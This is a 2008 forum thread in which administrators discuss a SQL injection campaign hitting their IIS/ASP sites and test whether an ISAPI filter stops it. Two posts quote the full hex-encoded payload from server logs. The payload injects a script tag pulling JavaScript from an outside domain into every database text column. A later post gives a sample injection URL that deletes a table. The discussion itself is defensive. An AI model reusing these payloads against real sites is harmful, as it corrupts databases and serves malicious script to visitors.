« Previous Next »

• 07-03-2008, 2:55 PM

  In reply to

  stanleyktag Joined on 07-03-2008, 6:50 PM USA Posts 1

  Re: Affected by latest SQL injeections Reply Contact We have been getting attacked by this hacker for over a week now at all of my web sites.  Fortunately, I have a SQL injection check much like this one.  I have gotten some satisfaction from the fact that if he is watching, I have Rick Rolled him:) Is anyone else getting slammed by this guy right now?  He is spoofing his IP all over the world.  I am just looking for patterns.  I have already sent all of my log data to our FBI contact. Does anyone know what this guy is after (other than the obvious SQL injection)?  He might be after certain web site visitors, ie. DOD users.

• 07-20-2008, 5:55 AM

  In reply to

  rviana Joined on 07-20-2008, 5:43 AM Posts 5

  Re: Affected by latest SQL injeections Reply Contact Rovastar: dstevens10: I actually installed and configured that ISAPI filter and it did no good.  Not sure if it's just for form GET/POST data (which is not how our injections are being entered).   BTW, the injection is actually being entered as a HEX value: GET /webpage.asp ID=575&year=2006;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E70696E676164772E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);-- 80 - 122.161.57.6 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727) - 200   That loooks fairly standard fair for an SQL injection with the latest round of attacks I thought that ISAPI filter could weed this out. Like I said I have not used it yet. Maybe post on their forums with the request that got through and maybe they can inform you that how nad why? (edit: i see you have asked a question onn there already :) ) I had hoped you could just reject any URIs with "0x" in them, etc? thus completely stopping the any hex attacks (well by this method anyway). Obviously you would have to screen the valid pages with this character string in them but that is not standard practice anyway and should help 99% of sites. What a shame they restricted the URLscan tool so it omitted query strings. It could have been used to great effect for things like this. DStevens,  I thought I had made this clear.  When I got this question on the Discussion tab at Codeplex I tested the scenario and the filter DOES eliminates this quite trivial SQL Injection. The result is not beautiful: 500&,year=2002,DECLARE%20@S%20VARCHAR(4000),SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E70696E676164772E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000)),EXEC(@S),-- But it harmless to the SQL Database. This is the thread: Thread   Rodney Viana

  Tags: IIS SQL Injection Filter

• 07-20-2008, 12:08 PM

  In reply to

  dstevens10 Joined on 06-22-2008, 2:13 AM Posts 15

  Re: Affected by latest SQL injeections Reply Contact You did make this clear on the CodePlex forum - I'm not questioning what you said. But while we're on the subject, perhaps I was mislead in believing that it wasn't working.  When I had conducted a test SQL injection with the ISAPI filter, the page loaded fine and the IIS log file provided a successful code (200).  That led me to believe that the filter did not work.  So is it safe to say that it did indeed work and while it appears that the injection was a success, there was nothing harmful written to the DB?  What is the best way to test the success of this - on a temp/test DB?

• 07-20-2008, 1:10 PM

  In reply to

  rviana Joined on 07-20-2008, 5:43 AM Posts 5

  Re: Affected by latest SQL injeections Reply Contact Hi DStevens, There is a sample ASP application that ships with the installation. The video shows how to install it. You can test combinations by putting the SQL Injection candidate string in one of the two available fields. The result page (show.asp) shows the transformed result. You can also change show.asp to show the full query string, but for your test you do not need this, just put the string in one of the fields. Please let me know if you need further assistance. I am very responsive. And thanks for using my filter. Rodney Viana

• 07-20-2008, 3:25 PM

  In reply to

  dstevens10 Joined on 06-22-2008, 2:13 AM Posts 15	Re: Affected by latest SQL injeections Reply Contact Yes, I saw that application and used that to test to ensure that I installed it properly.  But the SQL injection that we were hit with wasn't from input fields but rather malicious code appended to the URL in the address bar.  What should I expect if I test the malicious code that way?

• 07-21-2008, 10:28 AM

  In reply to

  rviana Joined on 07-20-2008, 5:43 AM Posts 5

  Re: Affected by latest SQL injeections Reply Contact dstevens10: Yes, I saw that application and used that to test to ensure that I installed it properly.  But the SQL injection that we were hit with wasn't from input fields but rather malicious code appended to the URL in the address bar.  What should I expect if I test the malicious code that way? Hi Dstevens,   If you change the action from POST to GET the input fields are appended to the url in the address bar (this is the HTTP/HTML specification): http://webbeginner.codepoint.net/post_versus_get The ISAPI SQL Injection Filter filters both GET and POST. Please view this thread to see more details: http://www.codeplex.com/IIS6SQLInjection/Thread/View.aspx?ThreadId=28102 Please let me know if you have any further question on this issue.   Thanks,   Rodney Viana

  Tags: IIS SQL Injection Filter URL Append

• 07-23-2008, 11:36 AM

  In reply to

  dstevens10 Joined on 06-22-2008, 2:13 AM Posts 15	Re: Affected by latest SQL injeections Reply Contact Again, just to clarify, this attack was not done via a form or any input fields.  The malicious code was simply appended to a page URL.  There is no ACTION since there is no form.

• 07-23-2008, 3:03 PM

  In reply to

  rviana Joined on 07-20-2008, 5:43 AM Posts 5

  Re: Affected by latest SQL injeections Reply Contact dstevens10: Again, just to clarify, this attack was not done via a form or any input fields.  The malicious code was simply appended to a page URL.  There is no ACTION since there is no form. To answer your question straight: the filter will block SQL injection attacks appended to a page url. Also as I told you before, this is the equivalent to send a GET request. Either way the attack will be appended to the page url and the filter will block. Example: http://server/file.asp?ID=500;delete%20table%20xxx Will be blocked either if it is entered directly into the url verbatim or issued through a form tag in a HTML page with the GET method. Since the IIS log is recorded before executing the filter, you will see an unchanged url in IIS log but the attack will not reach the intended ASP or ASP.NET code.

  Tags: SQL injection filter append URL attack

• 07-23-2008, 4:58 PM

  In reply to

  dstevens10 Joined on 06-22-2008, 2:13 AM Posts 15	Re: Affected by latest SQL injeections Reply Contact OK, I think we're almost there.  I know this is a GET request (even though a form isn't involved but it's good to know that the IIS log will not show it as an unsuccessful attemp.  And while the attack will not reach the intended code, will the page still load successfully (because it did on our end).

• 07-23-2008, 7:46 PM

  In reply to

  rviana Joined on 07-20-2008, 5:43 AM Posts 5	Re: Affected by latest SQL injeections Reply Contact It is supposed to load. The only thing is that the injection will be filtered.